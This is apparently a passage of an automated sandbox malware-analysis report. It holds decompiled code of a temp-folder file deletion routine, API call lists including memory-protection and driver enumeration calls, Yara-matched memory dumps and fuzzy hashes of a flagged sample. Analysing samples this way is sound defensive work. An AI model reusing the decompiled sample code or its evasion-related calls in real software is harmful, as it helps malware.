                                                                                                                					if(_a4 == 0) {
                                                                                                                						E00405E58(_t68);
                                                                                                                					} else {
                                                                                                                						lstrcatW(0x42f270, L"\\*.*");
                                                                                                                					}
                                                                                                                					__eflags =  *_t68;
                                                                                                                					if( *_t68 != 0) {
                                                                                                                						L10:
                                                                                                                						lstrcatW(_t68, 0x40a014);
                                                                                                                						L11:
                                                                                                                						_t66 =  &(_t68[lstrlenW(_t68)]);
                                                                                                                						_t38 = FindFirstFileW(0x42f270,  &_v604);
                                                                                                                						_t70 = _t38;
                                                                                                                						__eflags = _t70 - 0xffffffff;
                                                                                                                						if(_t70 == 0xffffffff) {
                                                                                                                							L26:
                                                                                                                							__eflags = _a4;
                                                                                                                							if(_a4 != 0) {
                                                                                                                								_t30 = _t66 - 2;
                                                                                                                								 *_t30 =  *(_t66 - 2) & 0x00000000;
                                                                                                                								__eflags =  *_t30;
                                                                                                                							}
                                                                                                                							goto L28;
                                                                                                                						} else {
                                                                                                                							goto L12;
                                                                                                                						}
                                                                                                                						do {
                                                                                                                							L12:
                                                                                                                							__eflags = _v604.cFileName - 0x2e;
                                                                                                                							if(_v604.cFileName != 0x2e) {
                                                                                                                								L16:
                                                                                                                								E0040653D(_t66,  &(_v604.cFileName));
                                                                                                                								__eflags = _v604.dwFileAttributes & 0x00000010;
                                                                                                                								if(__eflags == 0) {
                                                                                                                									_t52 = E00405C01(__eflags, _t68, _v8);
                                                                                                                									__eflags = _t52;
                                                                                                                									if(_t52 != 0) {
                                                                                                                										E0040559F(0xfffffff2, _t68);
                                                                                                                									} else {
                                                                                                                										__eflags = _v8 - _t52;
                                                                                                                										if(_v8 == _t52) {
                                                                                                                											 *0x434f88 =  *0x434f88 + 1;
                                                                                                                										} else {
                                                                                                                											E0040559F(0xfffffff1, _t68);
                                                                                                                											E004062FD(_t67, _t68, 0);
                                                                                                                										}
                                                                                                                									}
                                                                                                                								} else {
                                                                                                                									__eflags = (_a8 & 0x00000003) - 3;
                                                                                                                									if(__eflags == 0) {
                                                                                                                										E00405C49(__eflags, _t68, _a8);
                                                                                                                									}
                                                                                                                								}
                                                                                                                								goto L24;
                                                                                                                							}
                                                                                                                							__eflags = _v558;
                                                                                                                							if(_v558 == 0) {
                                                                                                                								goto L24;
                                                                                                                							}
                                                                                                                							__eflags = _v558 - 0x2e;
                                                                                                                							if(_v558 != 0x2e) {
                                                                                                                								goto L16;
                                                                                                                							}
                                                                                                                							__eflags = _v556;
                                                                                                                							if(_v556 == 0) {
                                                                                                                								goto L24;
                                                                                                                							}
                                                                                                                							goto L16;
                                                                                                                							L24:
                                                                                                                							_t55 = FindNextFileW(_t70,  &_v604);
                                                                                                                							__eflags = _t55;
                                                                                                                						} while (_t55 != 0);
                                                                                                                						_t38 = FindClose(_t70);
                                                                                                                						goto L26;
                                                                                                                					}
                                                                                                                					__eflags =  *0x42f270 - 0x5c;
                                                                                                                					if( *0x42f270 != 0x5c) {
                                                                                                                						goto L11;
                                                                                                                					}
                                                                                                                					goto L10;
                                                                                                                				} else {
                                                                                                                					__eflags = _t38;
                                                                                                                					if(_t38 == 0) {
                                                                                                                						L28:
                                                                                                                						__eflags = _a4;
                                                                                                                						if(_a4 == 0) {
                                                                                                                							L36:
                                                                                                                							return _t38;
                                                                                                                						}
                                                                                                                						__eflags = _v12;
                                                                                                                						if(_v12 != 0) {
                                                                                                                							_t38 = E00406873(_t68);
                                                                                                                							__eflags = _t38;
                                                                                                                							if(_t38 == 0) {
                                                                                                                								goto L36;
                                                                                                                							}
                                                                                                                							E00405E0C(_t68);
                                                                                                                							_t38 = E00405C01(__eflags, _t68, _v8 | 0x00000001);
                                                                                                                							__eflags = _t38;
                                                                                                                							if(_t38 != 0) {
                                                                                                                								return E0040559F(0xffffffe5, _t68);
                                                                                                                							}
                                                                                                                							__eflags = _v8;
                                                                                                                							if(_v8 == 0) {
                                                                                                                								goto L30;
                                                                                                                							}
                                                                                                                							E0040559F(0xfffffff1, _t68);
                                                                                                                							return E004062FD(_t67, _t68, 0);
                                                                                                                						}
                                                                                                                						L30:
                                                                                                                						 *0x434f88 =  *0x434f88 + 1;
                                                                                                                						return _t38;
                                                                                                                					}
                                                                                                                					__eflags = _t65 & 0x00000002;
                                                                                                                					if((_t65 & 0x00000002) == 0) {
                                                                                                                						goto L28;
                                                                                                                					}
                                                                                                                					goto L5;
                                                                                                                				}
                                                                                                                			}


















                                                                                                                0x00405c53
                                                                                                                0x00405c58
                                                                                                                0x00405c61
                                                                                                                0x00405c64
                                                                                                                0x00405c6c
                                                                                                                0x00405c6f
                                                                                                                0x00405c72
                                                                                                                0x00405c7a
                                                                                                                0x00405c7c
                                                                                                                0x00405c7d
                                                                                                                0x00000000
                                                                                                                0x00405c7d
                                                                                                                0x00405c88
                                                                                                                0x00405c8b
                                                                                                                0x00405c8b
                                                                                                                0x00405c8b
                                                                                                                0x00405c8f
                                                                                                                0x00405ca2
                                                                                                                0x00405ca9
                                                                                                                0x00405cae
                                                                                                                0x00405cb2
                                                                                                                0x00405cc2
                                                                                                                0x00405cb4
                                                                                                                0x00405cba
                                                                                                                0x00405cba
                                                                                                                0x00405cc7
                                                                                                                0x00405ccb
                                                                                                                0x00405cd7
                                                                                                                0x00405cdd
                                                                                                                0x00405ce2
                                                                                                                0x00405ce8
                                                                                                                0x00405cf3
                                                                                                                0x00405cf9
                                                                                                                0x00405cfb
                                                                                                                0x00405cfe
                                                                                                                0x00405da8
                                                                                                                0x00405da8
                                                                                                                0x00405dac
                                                                                                                0x00405dae
                                                                                                                0x00405dae
                                                                                                                0x00405dae
                                                                                                                0x00405dae
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405d04
                                                                                                                0x00405d04
                                                                                                                0x00405d04
                                                                                                                0x00405d0c
                                                                                                                0x00405d2c
                                                                                                                0x00405d34
                                                                                                                0x00405d39
                                                                                                                0x00405d40
                                                                                                                0x00405d5b
                                                                                                                0x00405d60
                                                                                                                0x00405d62
                                                                                                                0x00405d86
                                                                                                                0x00405d64
                                                                                                                0x00405d64
                                                                                                                0x00405d67
                                                                                                                0x00405d7b
                                                                                                                0x00405d69
                                                                                                                0x00405d6c
                                                                                                                0x00405d74
                                                                                                                0x00405d74
                                                                                                                0x00405d67
                                                                                                                0x00405d42
                                                                                                                0x00405d48
                                                                                                                0x00405d4a
                                                                                                                0x00405d50
                                                                                                                0x00405d50
                                                                                                                0x00405d4a
                                                                                                                0x00000000
                                                                                                                0x00405d40
                                                                                                                0x00405d0e
                                                                                                                0x00405d16
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405d18
                                                                                                                0x00405d20
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405d22
                                                                                                                0x00405d2a
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405d8b
                                                                                                                0x00405d93
                                                                                                                0x00405d99
                                                                                                                0x00405d99
                                                                                                                0x00405da2
                                                                                                                0x00000000
                                                                                                                0x00405da2
                                                                                                                0x00405ccd
                                                                                                                0x00405cd5
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405c91
                                                                                                                0x00405c91
                                                                                                                0x00405c93
                                                                                                                0x00405db3
                                                                                                                0x00405db5
                                                                                                                0x00405db8
                                                                                                                0x00405e09
                                                                                                                0x00405e09
                                                                                                                0x00405e09
                                                                                                                0x00405dba
                                                                                                                0x00405dbd
                                                                                                                0x00405dc8
                                                                                                                0x00405dcd
                                                                                                                0x00405dcf
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405dd2
                                                                                                                0x00405dde
                                                                                                                0x00405de3
                                                                                                                0x00405de5
                                                                                                                0x00000000
                                                                                                                0x00405e00
                                                                                                                0x00405de7
                                                                                                                0x00405dea
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405def
                                                                                                                0x00000000
                                                                                                                0x00405df6
                                                                                                                0x00405dbf
                                                                                                                0x00405dbf
                                                                                                                0x00000000
                                                                                                                0x00405dbf
                                                                                                                0x00405c99
                                                                                                                0x00405c9c
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00000000
                                                                                                                0x00405c9c

                                                                                                                APIs
                                                                                                                • DeleteFileW.KERNELBASE(?,?,76573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405C72
                                                                                                                • lstrcatW.KERNEL32(0042F270,\*.*), ref: 00405CBA
                                                                                                                • lstrcatW.KERNEL32(?,0040A014), ref: 00405CDD
                                                                                                                • lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,76573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CE3
                                                                                                                • FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,76573420,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405CF3
                                                                                                                • FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D93
                                                                                                                • FindClose.KERNEL32(00000000), ref: 00405DA2
                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                                                                                                • String ID: .$.$C:\Users\user\AppData\Local\Temp\$\*.*
                                                                                                                • API String ID: 2035342205-1953461807
                                                                                                                • Opcode ID: 91e5555b9508150fcf6e55f7c9d4dc2ae8152fc7335161658e002f7252bbf59f
                                                                                                                • Instruction ID: 8b2ee76931e9ba666d6dc67a471f1b560bbb00ea1adf29c264b32972d7114dcf
                                                                                                                • Opcode Fuzzy Hash: 91e5555b9508150fcf6e55f7c9d4dc2ae8152fc7335161658e002f7252bbf59f
                                                                                                                • Instruction Fuzzy Hash: 3D41A130900A14BADB216B65CC8DABF7678DF81714F14817FF841B21D1D77C4A819EAE
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: 5~Jv$5~Jv$/5`
                                                                                                                • API String ID: 0-4089324383
                                                                                                                • Opcode ID: f93a6a1697c457b3ef63095fc5fc148a77e2560baf6422af2a89f11a5cdec1d4
                                                                                                                • Instruction ID: 324e8512d7545c3791df5361179a36be13ffcfac50c5949300864662190b9401
                                                                                                                • Opcode Fuzzy Hash: f93a6a1697c457b3ef63095fc5fc148a77e2560baf6422af2a89f11a5cdec1d4
                                                                                                                • Instruction Fuzzy Hash: 3C415431A047468FDB249F398DA07EBB7B2BF59350F60452DDC8ADB300D730AA888B51
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                C-Code - Quality: 100%
                                                                                                                			E00406873(WCHAR* _a4) {
                                                                                                                				void* _t2;
                                                                                                                
                                                                                                                				_t2 = FindFirstFileW(_a4, 0x4302b8); // executed
                                                                                                                				if(_t2 == 0xffffffff) {
                                                                                                                					return 0;
                                                                                                                				}
                                                                                                                				FindClose(_t2);
                                                                                                                				return 0x4302b8;
                                                                                                                			}




                                                                                                                0x0040687e
                                                                                                                0x00406887
                                                                                                                0x00000000
                                                                                                                0x00406894
                                                                                                                0x0040688a
                                                                                                                0x00000000

                                                                                                                APIs
                                                                                                                • FindFirstFileW.KERNELBASE(?,004302B8,0042FA70,00405F5D,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4Wv,?,C:\Users\user\AppData\Local\Temp\,00405C69,?,76573420,C:\Users\user\AppData\Local\Temp\), ref: 0040687E
                                                                                                                • FindClose.KERNEL32(00000000), ref: 0040688A
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1524865503.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                • Associated: 00000002.00000002.1524819109.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524933786.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1524972417.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525033960.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525139223.0000000000429000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525174648.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525207297.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525242010.0000000000438000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525273847.0000000000440000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525326483.000000000047D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525358087.000000000047F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525390709.0000000000482000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525489160.000000000048F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                • Associated: 00000002.00000002.1525566608.0000000000499000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_400000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Similarity
                                                                                                                • API ID: Find$CloseFileFirst
                                                                                                                • String ID:
                                                                                                                • API String ID: 2295610775-0
                                                                                                                • Opcode ID: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
                                                                                                                • Instruction ID: 67599a3b69382adcf67454a25bfea179debcebd0a6e2e92eb77ede12202c023a
                                                                                                                • Opcode Fuzzy Hash: 86d0f84efe5cb21a5e65899ed37e92679b9de560e532c409a12d624e9ae3e839
                                                                                                                • Instruction Fuzzy Hash: C3D012325192205FC3402B386E0C84B7A989F16331726CB76B4AAF51E0D7388C7387BD
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: +g"?
                                                                                                                • API String ID: 0-171655579
                                                                                                                • Opcode ID: d8967bace61c640fdcb1f9ae87d439831e00e1c8b0e53e9c859a0d3f6757552c
                                                                                                                • Instruction ID: 821aead66cdc7eea812c1230d22c257ea919374f4a6a6013994ac39523d8d91a
                                                                                                                • Opcode Fuzzy Hash: d8967bace61c640fdcb1f9ae87d439831e00e1c8b0e53e9c859a0d3f6757552c
                                                                                                                • Instruction Fuzzy Hash: 72D13671A08346DFDB389E288D657EB37F2EF59390F45452EEC8ADB204D7309A418B41
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                APIs
                                                                                                                • K32EnumDeviceDrivers.KERNEL32(00000001,02BC96FC,DD8A3534,00000000), ref: 02BC8E7E
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID: DeviceDriversEnum
                                                                                                                • String ID:
                                                                                                                • API String ID: 22031212-0
                                                                                                                • Opcode ID: 2220886dce1f2297ed65bffc9acbd164400791e7d0da378d37d0958e5cca5f4f
                                                                                                                • Instruction ID: 2e77acd7da62b8eec4005b20980228099e73bdbe58fef768232353203dc6bf89
                                                                                                                • Opcode Fuzzy Hash: 2220886dce1f2297ed65bffc9acbd164400791e7d0da378d37d0958e5cca5f4f
                                                                                                                • Instruction Fuzzy Hash: 2EF03071A04A49DFEB29DE78C9DA3DD37A2EFC9305F21456AC9068F704D735AA45CB00
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                APIs
                                                                                                                • NtProtectVirtualMemory.NTDLL ref: 02BC7D59
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID: MemoryProtectVirtual
                                                                                                                • String ID:
                                                                                                                • API String ID: 2706961497-0
                                                                                                                • Opcode ID: 1bb6881db68bce033f00dfe6474dab05f31b1b8b1cfb530b04de4cb0a56351b9
                                                                                                                • Instruction ID: 8204479dc8096a28d04222dbd4f986fd93a21c11e9e637827cf796edc94ca972
                                                                                                                • Opcode Fuzzy Hash: 1bb6881db68bce033f00dfe6474dab05f31b1b8b1cfb530b04de4cb0a56351b9
                                                                                                                • Instruction Fuzzy Hash: 26F019B12042899FCB28CE2DC9696EEB7E6EFD9340F01402DEC8A97344CA305A04CB15
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: r9fO
                                                                                                                • API String ID: 0-504166708
                                                                                                                • Opcode ID: d319d3c6f8e3e96e66f5a8295ac307782fd1ed196728940097d9d20e4cb59858
                                                                                                                • Instruction ID: e6af4783428fe44a7abad2663d6eec384fdc972f1fb084065a1046dbbb72d073
                                                                                                                • Opcode Fuzzy Hash: d319d3c6f8e3e96e66f5a8295ac307782fd1ed196728940097d9d20e4cb59858
                                                                                                                • Instruction Fuzzy Hash: 839132726003898FDB348F28CDE43EA73A2AF59790F95416EDC899B211D7309E858B11
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: 2d7e87084d0d58243e706550afa112187ebe42ab6f0ee59789a0af9b11a3efa0
                                                                                                                • Instruction ID: 903be5647734c93134f5264fed44ca06ad3139215858e672b7ebe90fcd2fb156
                                                                                                                • Opcode Fuzzy Hash: 2d7e87084d0d58243e706550afa112187ebe42ab6f0ee59789a0af9b11a3efa0
                                                                                                                • Instruction Fuzzy Hash: 9A829B93E3F7155AE7C37031C1217D6BAC0DF23582E218F9B982AB15A17B1F4A8E49D4
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: B$G
                                                                                                                • API String ID: 0-1054764933
                                                                                                                • Opcode ID: ee79e7791884a9d7498971a4b362733b81274505671b223dbd2ff928fc1fbbd5
                                                                                                                • Instruction ID: b4dca0f336368badcf46e52bc18576cfcb1f49dd7c0dea86897c674fb8588077
                                                                                                                • Opcode Fuzzy Hash: ee79e7791884a9d7498971a4b362733b81274505671b223dbd2ff928fc1fbbd5
                                                                                                                • Instruction Fuzzy Hash: AC515471A047968FCB319F358CA47DABBB1EF56350F64846EEC89DB211D3318989CB01
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Strings
                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID: /5`
                                                                                                                • API String ID: 0-4157449029
                                                                                                                • Opcode ID: d0be84e6829b74fc1324eb1256e9f48686c122e17b33630549bf8e0e17c777af
                                                                                                                • Instruction ID: aeeb255a3e632d42a5fa8978236bdfbbcad5bf570a8aed35772894b2c951da3b
                                                                                                                • Opcode Fuzzy Hash: d0be84e6829b74fc1324eb1256e9f48686c122e17b33630549bf8e0e17c777af
                                                                                                                • Instruction Fuzzy Hash: 46415471A047498FDB24AF2589907EFB7F2BF59750F60452DDC4AEB301D7319A848B11
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: b9a8e41d4bdfb5d60730d8d66c285a7b19161ea628be8401dc9eefa99d5256c9
                                                                                                                • Instruction ID: d5b1eee58ff81cf43bbad1f2f5a9bf87144ad4bbef19a497802dda13ec989d09
                                                                                                                • Opcode Fuzzy Hash: b9a8e41d4bdfb5d60730d8d66c285a7b19161ea628be8401dc9eefa99d5256c9
                                                                                                                • Instruction Fuzzy Hash: 0AA1FF71A043899FDF349F28CDA87DA37B2EF59750F94812DDC4E9B214D7319A858B01
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: f2ede164e0bcf9fba21316614099ca30d4cb0c9f63de2d5eb72d966708d22d7a
                                                                                                                • Instruction ID: 31be385b25732cb53255b6fcfe1a12b372e5c4f9fea3ddb004b7ff06177ce793
                                                                                                                • Opcode Fuzzy Hash: f2ede164e0bcf9fba21316614099ca30d4cb0c9f63de2d5eb72d966708d22d7a
                                                                                                                • Instruction Fuzzy Hash: E951037160434A8FDB789E3489A17EF77B2EF95750F64842EDC8BDB250D7308A858B01
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: acce5b1a43ee40bcd60d60fcda0d4ef9c393a19a6ff9d981dc8d528094cea13a
                                                                                                                • Instruction ID: bafadeec8603b0dbc80732624ae522be2a8bf6c295ecc930bdc5a2fe535b8f0a
                                                                                                                • Opcode Fuzzy Hash: acce5b1a43ee40bcd60d60fcda0d4ef9c393a19a6ff9d981dc8d528094cea13a
                                                                                                                • Instruction Fuzzy Hash: 2D51137560474A8FDB74EE29CDA43EF77A2AF59390F54402EDC4ADB310DB309A888B11
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Memory Dump Source
                                                                                                                • Source File: 00000002.00000002.1527487953.0000000002BA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BA0000, based on PE: false
                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                • Snapshot File: hcaresult_2_2_2ba0000_008s06523610054680b6011375030062022.jbxd
                                                                                                                Yara matches
                                                                                                                Similarity
                                                                                                                • API ID:
                                                                                                                • String ID:
                                                                                                                • API String ID:
                                                                                                                • Opcode ID: fa7ab25df2c29cdf237a4b1af38bc763a9b229d783e83c97b0e02890d36ddbf2
                                                                                                                • Instruction ID: 0dd7a9580374074403864b66d7e531b4892fb91fe9d614c8e873a6aecad58a91
                                                                                                                • Opcode Fuzzy Hash: fa7ab25df2c29cdf237a4b1af38bc763a9b229d783e83c97b0e02890d36ddbf2
                                                                                                                • Instruction Fuzzy Hash: 3A31EF71A5075A8FDB34AF298DA07EFB7A2AF69750F54442DDC4EDB300D7309A888B11
                                                                                                                Uniqueness

                                                                                                                Uniqueness Score: -1.00%

                                                                                                                Control-flow Graph

                                                                                                                • Executed
                                                                                                                • Not Executed
